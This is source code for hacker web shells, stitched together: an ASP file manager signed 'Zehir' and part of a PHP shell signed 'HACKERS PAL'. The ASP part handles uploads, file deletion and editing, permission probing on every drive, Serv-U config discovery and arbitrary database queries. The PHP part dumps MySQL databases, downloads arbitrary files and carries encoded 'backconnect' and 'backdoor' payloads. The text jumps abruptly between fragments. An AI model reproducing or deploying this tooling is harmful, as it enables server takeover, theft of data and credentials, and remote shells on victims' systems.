<%
end if
'####################################
Class clsUpload
Private mbinData
Private mlngChunkIndex
Private mlngBytesReceived
Private mstrDelimiter
Private CR
Private LF
Private CRLF
Private mobjFieldAry()
Private mlngCount
Private Sub RequestData
Dim llngLength
mlngBytesReceived = Request.TotalBytes
mbinData = Request.BinaryRead(mlngBytesReceived)
End Sub
Private Sub ParseDelimiter()
mstrDelimiter = MidB(mbinData, 1, InStrB(1, mbinData, CRLF) - 1)
End Sub
Private Sub ParseData()
Dim llngStart
Dim llngLength
Dim llngEnd
Dim lbinChunk
llngStart = 1
llngStart = InStrB(llngStart, mbinData, mstrDelimiter & CRLF)
While Not llngStart = 0
llngEnd = InStrB(llngStart + 1, mbinData, mstrDelimiter) - 2
llngLength = llngEnd - llngStart
lbinChunk = MidB(mbinData, llngStart, llngLength)
Call ParseChunk(lbinChunk)
llngStart = InStrB(llngStart + 1, mbinData, mstrDelimiter & CRLF)
Wend
End Sub
Private Sub ParseChunk(ByRef pbinChunk)
Dim lstrName
Dim lstrFileName
Dim lstrContentType
Dim lbinData
Dim lstrDisposition
Dim lstrValue
lstrDisposition = ParseDisposition(pbinChunk)
lstrName = ParseName(lstrDisposition)
lstrFileName = ParseFileName(lstrDisposition)
lstrContentType = ParseContentType(pbinChunk)
If lstrContentType = "" Then
lstrValue = CStrU(ParseBinaryData(pbinChunk))
Else
lbinData = ParseBinaryData(pbinChunk)
End If
Call AddField(lstrName, lstrFileName, lstrContentType, lstrValue, lbinData)
End Sub
Private Sub AddField(ByRef pstrName, ByRef pstrFileName, ByRef pstrContentType, ByRef pstrValue, ByRef pbinData)
Dim lobjField
ReDim Preserve mobjFieldAry(mlngCount)
Set lobjField = New clsField
lobjField.Name = pstrName
lobjField.FilePath = pstrFileName
lobjField.ContentType = pstrContentType
If LenB(pbinData) = 0 Then
lobjField.BinaryData = ChrB(0)
lobjField.Value = pstrValue
lobjField.Length = Len(pstrValue)
Else
lobjField.BinaryData = pbinData
lobjField.Length = LenB(pbinData)
lobjField.Value = ""
End If
Set mobjFieldAry(mlngCount) = lobjField
mlngCount = mlngCount + 1
End Sub
Private Function ParseBinaryData(ByRef pbinChunk)
Dim llngStart
llngStart = InStrB(1, pbinChunk, CRLF & CRLF)
If llngStart = 0 Then Exit Function
llngStart = llngStart + 4
ParseBinaryData = MidB(pbinChunk, llngStart)
End Function
Private Function ParseContentType(ByRef pbinChunk)
Dim llngStart
Dim llngEnd
Dim llngLength
llngStart = InStrB(1, pbinChunk, CRLF & CStrB("Content-Type:"), vbTextCompare)
If llngStart = 0 Then Exit Function
llngEnd = InStrB(llngStart + 15, pbinChunk, CR)
If llngEnd = 0 Then Exit Function
llngStart = llngStart + 15
If llngStart >= llngEnd Then Exit Function
llngLength = llngEnd - llngStart
ParseContentType = Trim(CStrU(MidB(pbinChunk, llngStart, llngLength)))
End Function
Private Function ParseDisposition(ByRef pbinChunk)
Dim llngStart
Dim llngEnd
Dim llngLength
llngStart = InStrB(1, pbinChunk, CRLF & CStrB("Content-Disposition:"), vbTextCompare)
If llngStart = 0 Then Exit Function
llngEnd = InStrB(llngStart + 22, pbinChunk, CRLF)
If llngEnd = 0 Then Exit Function
llngStart = llngStart + 22
If llngStart >= llngEnd Then Exit Function
llngLength = llngEnd - llngStart
ParseDisposition = CStrU(MidB(pbinChunk, llngStart, llngLength))
End Function
Private Function ParseName(ByRef pstrDisposition)
Dim llngStart
Dim llngEnd
Dim llngLength
llngStart = InStr(1, pstrDisposition, "name=""", vbTextCompare)
If llngStart = 0 Then Exit Function
llngEnd = InStr(llngStart + 6, pstrDisposition, """")
If llngEnd = 0 Then Exit Function
llngStart = llngStart + 6
If llngStart >= llngEnd Then Exit Function
llngLength = llngEnd - llngStart
ParseName = Mid(pstrDisposition, llngStart, llngLength)
End Function
' ------------------------------------------------------------------------------
Private Function ParseFileName(ByRef pstrDisposition)
Dim llngStart
Dim llngEnd
Dim llngLength
llngStart = InStr(1, pstrDisposition, "filename=""", vbTextCompare)
If llngStart = 0 Then Exit Function
llngEnd = InStr(llngStart + 10, pstrDisposition, """")
If llngEnd = 0 Then Exit Function
llngStart = llngStart + 10
If llngStart >= llngEnd Then Exit Function
llngLength = llngEnd - llngStart
ParseFileName = Mid(pstrDisposition, llngStart, llngLength)
End Function
Public Property Get Count()
Count = mlngCount
End Property
Public Default Property Get Fields(ByVal pstrName)
Dim llngIndex
If IsNumeric(pstrName) Then
llngIndex = CLng(pstrName)
If llngIndex > mlngCount - 1 Or llngIndex < 0 Then
Call Err.Raise(vbObjectError + 1, "clsUpload.asp", "Object does not exist within the ordinal reference.")
Exit Property
End If
Set Fields = mobjFieldAry(pstrName)
Else
pstrName = LCase(pstrname)
For llngIndex = 0 To mlngCount - 1
If LCase(mobjFieldAry(llngIndex).Name) = pstrName Then
Set Fields = mobjFieldAry(llngIndex)
Exit Property
End If
Next
End If
Set Fields = New clsField
End Property
Private Sub Class_Terminate()
Dim llngIndex
For llngIndex = 0 To mlngCount - 1
Set mobjFieldAry(llngIndex) = Nothing
Next
ReDim mobjFieldAry(-1)
End Sub
Private Sub Class_Initialize()
ReDim mobjFieldAry(-1)
CR = ChrB(Asc(vbCr))
LF = ChrB(Asc(vbLf))
CRLF = CR & LF
mlngCount = 0
Call RequestData
Call ParseDelimiter()
Call ParseData
End Sub
Private Function CStrU(ByRef pstrANSI)
Dim llngLength
Dim llngIndex
llngLength = LenB(pstrANSI)
For llngIndex = 1 To llngLength
CStrU = CStrU & Chr(AscB(MidB(pstrANSI, llngIndex, 1)))
Next
End Function
Private Function CStrB(ByRef pstrUnicode)
Dim llngLength
Dim llngIndex
llngLength = Len(pstrUnicode)
For llngIndex = 1 To llngLength
CStrB = CStrB & ChrB(Asc(Mid(pstrUnicode, llngIndex, 1)))
Next
End Function
End Class
'####################################
Session("n1") = "by Ejder"
Class clsField
Public Name
Private mstrPath
Public FileDir
Public FileExt
Public FileName
Public ContentType
Public Value
Public BinaryData
Public Length
Private mstrText
Public Property Get BLOB()
BLOB = BinaryData
End Property
Public Function BinaryAsText()
Dim lbinBytes
Dim lobjRs
If Length = 0 Then Exit Function
If LenB(BinaryData) = 0 Then Exit Function
If Not Len(mstrText) = 0 Then
BinaryAsText = mstrText
Exit Function
End If
lbinBytes = ASCII2Bytes(BinaryData)
mstrText = Bytes2Unicode(lbinBytes)
BinaryAsText = mstrText
End Function
Public Sub SaveAs(ByRef pstrFileName)
Const adTypeBinary=1
Const adSaveCreateOverWrite=2
Dim lobjStream
Dim lobjRs
Dim lbinBytes
If Length = 0 Then Exit Sub
If LenB(BinaryData) = 0 Then Exit Sub
Set lobjStream = Server.CreateObject("ADODB.Stream")
lobjStream.Type = adTypeBinary
Call lobjStream.Open()
lbinBytes = ASCII2Bytes(BinaryData)
Call lobjStream.Write(lbinBytes)
On Error Resume Next
Call lobjStream.SaveToFile(pstrFileName, adSaveCreateOverWrite)
'if err<>0 then response.Write " "&err.Description
Call lobjStream.Close()
Set lobjStream = Nothing
End Sub
Public Property Let FilePath(ByRef pstrPath)
mstrPath = pstrPath
If Not InStrRev(pstrPath, ".") = 0 Then
FileExt = Mid(pstrPath, InStrRev(pstrPath, ".") + 1)
FileExt = UCase(FileExt)
End If
If Not InStrRev(pstrPath, "\") = 0 Then
FileName = Mid(pstrPath, InStrRev(pstrPath, "\") + 1)
End If
If Not InStrRev(pstrPath, "\") = 0 Then
FileDir = Mid(pstrPath, 1, InStrRev(pstrPath, "\") - 1)
End If
End Property
Public Property Get FilePath()
FilePath = mstrPath
End Property
private Function ASCII2Bytes(ByRef pbinBinaryData)
Const adLongVarBinary=205
Dim lobjRs
Dim llngLength
Dim lbinBuffer
llngLength = LenB(pbinBinaryData)
Set lobjRs = Server.CreateObject("ADODB.Recordset")
Call lobjRs.Fields.Append("BinaryData", adLongVarBinary, llngLength)
Call lobjRs.Open()
Call lobjRs.AddNew()
Call lobjRs.Fields("BinaryData").AppendChunk(pbinBinaryData & ChrB(0))
Call lobjRs.Update()
lbinBuffer = lobjRs.Fields("BinaryData").GetChunk(llngLength)
Call lobjRs.Close()
Set lobjRs = Nothing
ASCII2Bytes = lbinBuffer
End Function
Private Function Bytes2Unicode(ByRef pbinBytes)
Dim lobjRs
Dim llngLength
Dim lstrBuffer
llngLength = LenB(pbinBytes)
Set lobjRs = Server.CreateObject("ADODB.Recordset")
Call lobjRs.Fields.Append("BinaryData", adLongVarChar, llngLength)
Call lobjRs.Open()
Call lobjRs.AddNew()
Call lobjRs.Fields("BinaryData").AppendChunk(pbinBytes)
Call lobjRs.Update()
lstrBuffer = lobjRs.Fields("BinaryData").Value
Call lobjRs.Close()
Set lobjRs = Nothing
Bytes2Unicode = lstrBuffer
End Function
End Class
Session("n2") = "EJDER"
'####################################
function addslash(path)
if right(path,1)="\" then addslash=path else addslash=path & "\"
end function
sub Upload()
dim objUpload,f,max,i,name,path,size,success
set objUpload=New clsUpload
targetPath=objUpload.Fields("folder").Value
max=objUpload.Fields("max").Value
for i=1 to max
name=objUpload.Fields("file" & i).FileName
size=objUpload.Fields("file" & i).Length
if (name<>"") and (size>0) then
gMsg=gMsg & " " & vbNewLine & "- " & name & " (" & FormatNumber(size,0) & " bytes): "
path=addslash(targetPath) & name
objUpload.Fields("file" & i).SaveAs path
if objFSO.FileExists(path) then
on error resume next
set f=objFSO.GetFile(path)
if IsObject(f) then
if f.Size=size then success=true else success=false
end if
set f=nothing
end if
if success then gMsg=gMsg & "uploaded" else gMsg = gMsg & "failed!"
end if
next
response.Write gMsg
set objUpload=nothing
end sub
if status="-4" then
Upload()
' hataKontrol
popup=false
end if
'////////////////////////////////
sub hataKontrol
if err<>0 then
Response.Write "Hata : "&err.Description&""
end if
end sub
sub araBul(path_,ara_)
on error resume next
If Len(path_) > 0 Then
cur = path_&"\"
If cur = "\\" Then cur = ""
parent = ""
If InStrRev(cur,"\") > 0 Then
parent = Left(cur, InStrRev(cur, "\", Len(cur)-1))
End If
Else
cur = ""
End If
Set f = objFSO.GetFolder(cur)
Set fc = f.Files
For Each f1 In fc
if lcase(InStr(1,f1.name,lcase(ara_)))>0 then
downStr = "ح"
if lcase(ara_)="mdb" then
Response.Write downStr&"û * "&f1.path&" ["&f1.size&"]"&" "
else
Response.Write downStr&"û! - "&f1.path&" ["&f1.size&"]"&" "
end if
end if
Next
Set fs = f.SubFolders
For Each f1 In fs
araBul f1.path,ara_
Next
Set f = Nothing
Set fc = Nothing
Set fs = Nothing
end sub
sub sistemTest
response.Write "
"
end sub
sub servu_Test
dosya_ = Array("Program Files\Serv-u\Serv-u.ini", "Program Files\Serv-u\Serv-u daemon.ini", "Serv-u\Serv-u.ini", "Serv-u\Serv-u daemon.ini")
for each drive_ in objFSO.Drives
if drive_.Drivetype=2 or drive_.Drivetype=3 then
for each d_ in dosya_
d_ = drive_.DriveLetter&":\"&d_
if objFSO.FileExists(d_) then
response.Write "
Serv-U ini file :
"&d_&"
"
end if
next
end if
next
end sub
function yaziyomu(yol)
on error goto 0:on error resume next
dim sonuc__
Set MyFile = objFSO.CreateTextFile(yol & "\test.zehir", True)
MyFile.write "byzehir "
set MyFile = Nothing
if err<>0 then
sonuc__="Yazma Hakk Yok!"
else
sonuc__="Yazma Hakk Var!"
on error goto 0: on error resume next
objFSO.DeleteFile yol & "\test.zehir",true
if err<>0 then
sonuc__=sonuc__&" Silme Hakk Yok!"
else
sonuc__=sonuc__&" Silme Hakk Var!"
end if
end if
yaziyomu = sonuc__
end function
function yaziyomu2(yol)
on error goto 0:on error resume next
Set MyFile = objFSO.CreateTextFile(yol & "\test.zehir", True)
MyFile.write "byzehir "
set MyFile = Nothing
if err<>0 then
yaziyomu2 = false
else
objFSO.DeleteFile yol & "\test.zehir"
yaziyomu2 = true
end if
end function
sub WriteTestOnDriver
for each drive_ in objFSO.Drives
if drive_.Drivetype=2 or drive_.Drivetype=3 then
if not yaziyomu2(drive_.DriveLetter&":\") then
Response.Write "
"&drive_.DriveLetter&":\
yazma yetkisi yok! : ["&err.Description&"]
"
else
Response.Write "
"&drive_.DriveLetter&":\
yazma yetkisi var!
"
end if
end if
next
end sub
sub WriteTestOnLocalPath
on error goto 0
on error resume next
if not yaziyomu2(request.servervariables("APPL_PHYSICAL_PATH")) then
Response.Write "
Local Path
yazma yetkisi yok! : ["&err.Description&"]
"
else
Response.Write "
Local Path
yazma yetkisi var!
"
end if
end sub
sub LocalPathParentFolder
on error goto 0
on error resume next
hed_ = request.servervariables("APPL_PHYSICAL_PATH")
if Right(hed_,1)="\" then hed_ = left(hed_,len(hed_)-1)
parhed_ = left(hed_,InStrRev(hed_,"\"))
Set f = objFSO.GetFolder(parhed_)
Set fc = f.SubFolders
int_fol=0
int_fil=0
For Each f1 In fc
int_fol=int_fol+1
Next
Set fc = f.files
For Each f1 In fc
int_fil=int_fil+1
Next
if err<>0 then
Response.Write "
"
end if
end sub
sub LocalPathPParentFolder
on error goto 0
on error resume next
hed_ = request.servervariables("APPL_PHYSICAL_PATH")
if Right(hed_,1)="\" then hed_ = left(hed_,len(hed_)-1)
hed_ = left(hed_,InStrRev(hed_,"\"))
if Right(hed_,1)="\" then hed_ = left(hed_,len(hed_)-1)
parhed_ = left(hed_,InStrRev(hed_,"\"))
Set f = objFSO.GetFolder(parhed_)
Set fc = f.SubFolders
int_fol=0
int_fil=0
For Each f1 In fc
int_fol=int_fol+1
Next
Set fc = f.files
For Each f1 In fc
int_fil=int_fil+1
Next
if err<>0 then
if err=451 then
Response.Write "
"
popup = false
CASE 14 'Upload and Search
aramaUpload
popup = false
hataKontrol
CASE 15 'Ms. SQL Server
Response.Write ""
popup = false
hataKontrol
CASE 16 'file Copy window
Response.Write ""
popup = false
hataKontrol
CASE 17 'file Copy
isl = ""
if islem="kopyala" then
objFSO.CopyFile path,cf
isl="kopyaland.."
elseif islem="tasi" then
objFSO.MoveFile path,cf
isl="tand.."
end if
response.Write "Dosya "&isl
response.Write " Kaynak : "&path&" Hedef : "&cf
response.Write " "
popup = false
hataKontrol
CASE 18 'folder Copy window
Response.Write ""
popup = false
hataKontrol
CASE 19 'folder Copy
isl = ""
if islem="kopyala" then
objFSO.CopyFolder path,cf
isl="kopyaland.."
elseif islem="tasi" then
objFSO.MoveFolder path,cf
isl="tand.."
end if
response.Write "Klasor "&isl
response.Write " Kaynak : "&path&" Hedef : "&cf
response.Write " "
popup = false
hataKontrol
CASE 33 'Powered By
response.Write "
Powered by Zehir"
response.Write "
zehirhacker@hotmail.com küllü nefsun zaifetun mevt"
popup = false
hataKontrol
CASE 40 'Sistem Test
sistemTest
popup=false
CASE 50 'Siteleri Test Edelim :D
%>
Güvenlik Testi byZehir
<%
popup=false
CASE 51 ' ضzel ilemler
END SELECT
%>
<%
if popup then
if status=7 or status=8 then
Response.Write ""
end if
Response.Write " "
end if
sub aramaUpload
Response.Write ""
%>
<%
end sub
SELECT CASE status
CASE 1 'Driver Open
if len(path)=1 then Response.Write (yaziyomu(path&":\")) else Response.Write (yaziyomu(path))
Response.Write "
"
Path = Path & ":/"
Response.Write "
"
KlasorOku
Response.Write "
"
DosyaOku
Response.Write "
"
hataKontrol
CASE 2 'Normal listeleme
if len(path)=1 then Response.Write (yaziyomu(path&":\")) else Response.Write (yaziyomu(path))
Response.Write "
"
Response.Write "
"
KlasorOku
Response.Write "
"
DosyaOku
Response.Write "
"
hataKontrol
CASE 3 'File Delete
objFSO.DeleteFile del
hataKontrol
if err<>0 then
byMsg="Not File Deleted! "
else
byMsg="File Deleted Successful;) "
end if
Response.Redirect dosyaPath&"?status=2&path="&path&"&Time="&time&"&byMsg="&byMsg
CASE 4 'Folder Delete
objFSO.DeleteFolder del
hataKontrol
if err<>0 then
byMsg="Not Folder Deleted! "
else
byMsg="Folder Deleted Successful;) "
end if
Response.Redirect dosyaPath&"?status=2&path="&path&"&Time="&time&"&byMsg="&byMsg
CASE 5 'Dosya içeriًini gِrüntüle
Response.Write "
"&path&"
"
Response.Write "
"
set f = objFSO.OpenTextFile(path,1)
Response.Write "
"&Server.HTMLEncode(f.readAll)&"
"
if err<>62 then hataKontrol
if err.number=62 then Response.Write "":Response.End
CASE 6 'Resim aç
Response.Write "
"
CASE 7 'database tablo listele
Response.Write "Tablolar "
Set objConn = Server.CreateObject("ADODB.Connection")
Set objADOX = Server.CreateObject("ADOX.Catalog")
objConn.Provider = "Microsoft.Jet.Oledb.4.0"
objConn.ConnectionString = Path
objConn.Open
objADOX.ActiveConnection = objConn
For Each table in objADOX.Tables
If table.Type = "TABLE" Then
Response.Write "4 "&table.Name&" "
End If
Next
hataKontrol
CASE 8 'database kayt listele
Set objConn = Server.CreateObject("ADODB.Connection")
Set objRcs = Server.CreateObject("ADODB.RecordSet")
objConn.Provider = "Microsoft.Jet.Oledb.4.0"
objConn.ConnectionString = Path
objConn.Open
objRcs.Open table,objConn, adOpenKeyset , , adCmdText
Response.Write "
"
for i=0 to objRcs.Fields.count-1
Response.Write "
"&objRcs.Fields(i).Name&"
"
next
Response.Write "
"
do while not objRcs.EOF
Response.Write "
"
for i=0 to objRcs.Fields.count-1
Response.Write "
"&objRcs.Fields(i).Value&"
"
next
Response.Write "
"
objRcs.MoveNext
loop
Response.Write "
"
hataKontrol
CASE 9 'SQL Execute
Set objConn = Server.CreateObject("ADODB.Connection")
objConn.Provider = "Microsoft.Jet.Oledb.4.0"
objConn.ConnectionString = Path
objConn.Open
objConn.Execute strSQL
' Response.Redirect dosyaPath&"?status=7&Path="&Path&"&Time="&time
hataKontrol
CASE 10 'Dosya Editleme
set f = objFSO.OpenTextFile(dPath,1)
Response.Write "
"
hataKontrol
CASE 11 'Dosya Kayt
set saveTextFile = objFSO.OpenTextFile(dPath,2,true,false)
hataKontrol
saveTextFile.Write(dkayit)
saveTextFile.close
if err<>0 then
byMsg = "Not File Edited! "
else
byMsg = "File Edited Successful:) "
end if
Response.Redirect dosyaPath&"?status=2&path="&path&"&time="&time&"&byMsg=" & byMsg
CASE 12 'Dosya Arama
araBul path,arama
hataKontrol
END SELECT
Response.Write "
"
sub DosyaOku
Set f = objFSO.GetFolder(Path)
Set fc = f.Files
For Each f1 In fc
dosyaAdi = f1.name
num = InStrRev(dosyaAdi,".")
uzanti = lcase(Right(dosyaAdi,len(dosyaAdi)-num))
downStr = "ûح4"
response.Write ""
select case uzanti
case "mdb"
Response.Write ""&f1.name&" ["&FormatNumber(f1.size,0)&"]"&" M "&downStr&" "
case "asp"
Response.Write ""&f1.name&" ["&FormatNumber(f1.size,0)&"]"&" ± !"&downStr&" "
case "jpg","gif"
Response.Write ""&f1.name&" ["&FormatNumber(f1.size,0)&"]"&" ¢ "&downStr&" "
case else
Response.Write ""&f1.name&" ["&FormatNumber(f1.size,0)&"]"&" 2 !"&downStr&" "
end select
Next
end sub
sub KlasorOku
Set f = objFSO.GetFolder(Path)
Set fc = f.SubFolders
if session("klasoroku")="" then
response.Write ""
session("klasoroku")="simdi yazlyor"
end if
For Each f1 In fc
Response.Write "4û 1"&f1.name&" "
Next
end sub
function createFileName()
Randomize
fName_ = ""
for i=1 to 10
fName_ = fName_ & int(Rnd*100)
next
createFileName = fName_
end function
function resimYol(path_)
on error resume next
path_ = Replace(Replace(path_,"\","/"),"//","/")
lpath_ = left(request.servervariables("PATH_TRANSLATED"),instrrev(request.servervariables("PATH_TRANSLATED"),"\"))
if yaziyomu2(lpath_) then
fname__ = "0"&createFileName()&"."&Right(path_,3)
objFSO.CopyFile path_, lpath_&"\"&fname__
else
Response.Write("Resim Açlamyor.. فsterseniz Download Ederek gِrüntüleyebilirsiniz..")
end if
resimYol = fname__
end function
if not popup then
Set fc = Nothing
S',' $val)
{
$GG = explode('=',$val);
$_INPUT[$GG[0]]=$GG[1];
}
$sm = @ini_get('safe_mode');
$safemode = ($sm)?'On (Secured)':'Off';
$_INPUT=array_merge($_INPUT,$_POST);
if(!eregi('WIN',$HTTP_SERVER_VARS['SERVER_SOFTWARE']))
{
$windows=false;
$directorysperator='/';
}
else
{
$directorysperator='\\';
$windows=true;
}
if($_INPUT['dump']==1)
{
$con = mysql_connect ($_INPUT['host'], $_INPUT['user'], $_INPUT['password']);
@mysql_select_DB($_INPUT['dbname'],$con);
$filename='dump-'.$_INPUT['dbname'].'-'.date('dmY').'-SoQoR.NeT.sql';
$db=$_INPUT['dbname'];
$res = mysql_query("SHOW TABLES FROM ".$db, $con);
while ($row = mysql_fetch_row($res))
{
$tables[] = $row[0];
}
$out = "# Dumped by SqShell v.1.0
# Home page: http://www.soqor.net
# By : HACKERS PAL
#
# Database: \"".$db."\"
# Date: ".date("d.m.Y H:i:s")."
#---------------------------------------------------------
";
foreach($tables as $k => $table)
{
$dump .= "DROP TABLE IF EXISTS `".$table."`;\n";
$res = mysql_query("SHOW CREATE TABLE `".$table."`", $con);
if (!$res)
{
$dump.="\n\n# -- -- Error in table '$table' - Coulnt Dump the table\n\n";
}
else
{
$row = mysql_fetch_row($res);
$dump .= $row["1"].";\n\n";
$res = mysql_query("SELECT * FROM `$table`", $con);
if (mysql_num_rows($res) > 0)
{
while ($row = mysql_fetch_assoc($res))
{
$values = array_values($row);
foreach($values as $ky=>$va)
{
$values[$ky] = addslashes($va);
}
$dump.= "INSERT INTO `$table`(`".implode("`, `", array_keys($row))."`) VALUES ('".implode("', '", $values)."');\n";
}
}
}
}
$dump .= "#---------------------------------------------------------------------------------\n\n";
header('Content-Disposition: attachment; filename='.$filename);
header('Content-length: '.strlen($dump).'');
header('Content-type: unknown/unknown');
ECHO $dump;
die();
}
if($_INPUT['CODE'] == 'file' && $_INPUT['do']=='down')
{
$exp = explode($directorysperator,$_INPUT['path']);
$num=count($exp)-1;
$name=$exp[$num];
header('Content-Disposition: attachment; filename='.$name.'');
header('Content-length: '.filesize($_INPUT['path']).'');
header('Content-type: unknown/unknown');
if(!(readfile($_INPUT['path'])))
{
echo file_get_contents($_INPUT['path']);
}
die();
}
if(version_compare(phpversion(), '4.1.0') == -1)
{
$_POST = &$HTTP_POST_VARS;
$_GET = &$HTTP_GET_VARS;
$_SERVER = &$HTTP_SERVER_VARS;
}
$head_gz = 'eNqlU21vmzAQ/s6vsBz1W1le1KQKAaRlY9OkqtNStK+RwRewamxmLm+t+t9nIBlpm2UfZguQ7rl77p47zs+xkKHj58C4/RSAjChWQEC/RvfR4mP8fUFJqhWCwoA+6B968eEeYhIDK+gxIEcsXfi1FpuAfmp93XhfQheJsMN+nWpG0pyZCjDYCsX1tnKHo/HkEtEdU9maZSdkzLgVsyEoUEK4XMbf4rtouSQu6ep7yEFKv9+6OH7/oK/CvQSCtraANjWlVWVlJJrvnWeHHE/C0sfM6LXiXi+aR9Po86wDUy218XrjaDwfz0/sK1ueW4kn8IajcvcWWLFCyL33Ewxnis2cF4edZjyQ3vAJnw4b1JNCPV5w+WOvdbgcUm0YCq08pRW0DBtRCQT+fyS53oA5Q3E7v7XnAoXtHhgrouHpHYZX2kn+rdNfbur7vtOTqL6dfSs45h6Zjq86W6KNzeaRYbkjlZaCk3dhBTOZUB5ha9TNq4NKxrlQmUdGg1eT++doXzlsQWQ5eomWvJYsVLnG66YtzAC7JhVISNGqb4t1UZduo4U0dc+OdlPTnEUSjaiLs5CE1ZuYQwXkuZ2MXTfbfwvWCsiL3292we5E/fO3PQ3ocDC4ooRJkakgte5gQscuGkvs1gge0JMpHt1o60dDH419ePgbl/BKsg==';
$backconnect_gz = 'eNqtU12PmzAQfOdX7NFTA1VCPl4qBeXUNEca1N4lBZI+JFFEYC+gA5vaprlT1f9e24RTK7XqS0Gyzezszu7IvLrq15z1jznpV8gKo+YI/nI8DmnyiMI1rvkzF1iCfCbQ0TyedSQ+DT7MJu/kunGNiuVEgDmjhGAi4H2cPOolpZTBnNESQvqZBhBmWBQ7shCiGvf75/PZ4fQrZQ5BsSM7YrpG/gCWLn01Gdnw3QC41F7z+IRjuB7AdkG52MN2RZncLnkAaY5gek+aMhy9dQbyHcJoOBqCZvzQo7VjqfM8L3ARk7RA1+Aat8Ll7KMXdWE1P/j36qCAQxgF3vSuCycUFaOCHp9JXKLVEUnVsW2QMyrxS6Pb3h7WJD4WCIJCgJwW3xBUz7qNpPHoRUkJx2nKDjnRg2+2w30XcunIIRa0xQZ7+x9CrfcvQi3rzb6N5eTkOI4it0Whkh5CK/uXNExVCsOSCoRMlm/8bAbo3cS1oA9FzTPLdg1aIbHC6Na/74J587rhmL8Eluuo+8eAFwS/B/7fnWpusGXWhKM0yA+juf/Jc6H5DqcbT2EuJhlVhpaoQnKDXqxB19Ah/9aFPG0QDay+SKQ6p6rbi8blb5HAT4cIDW0=';
$backdoor_gz = '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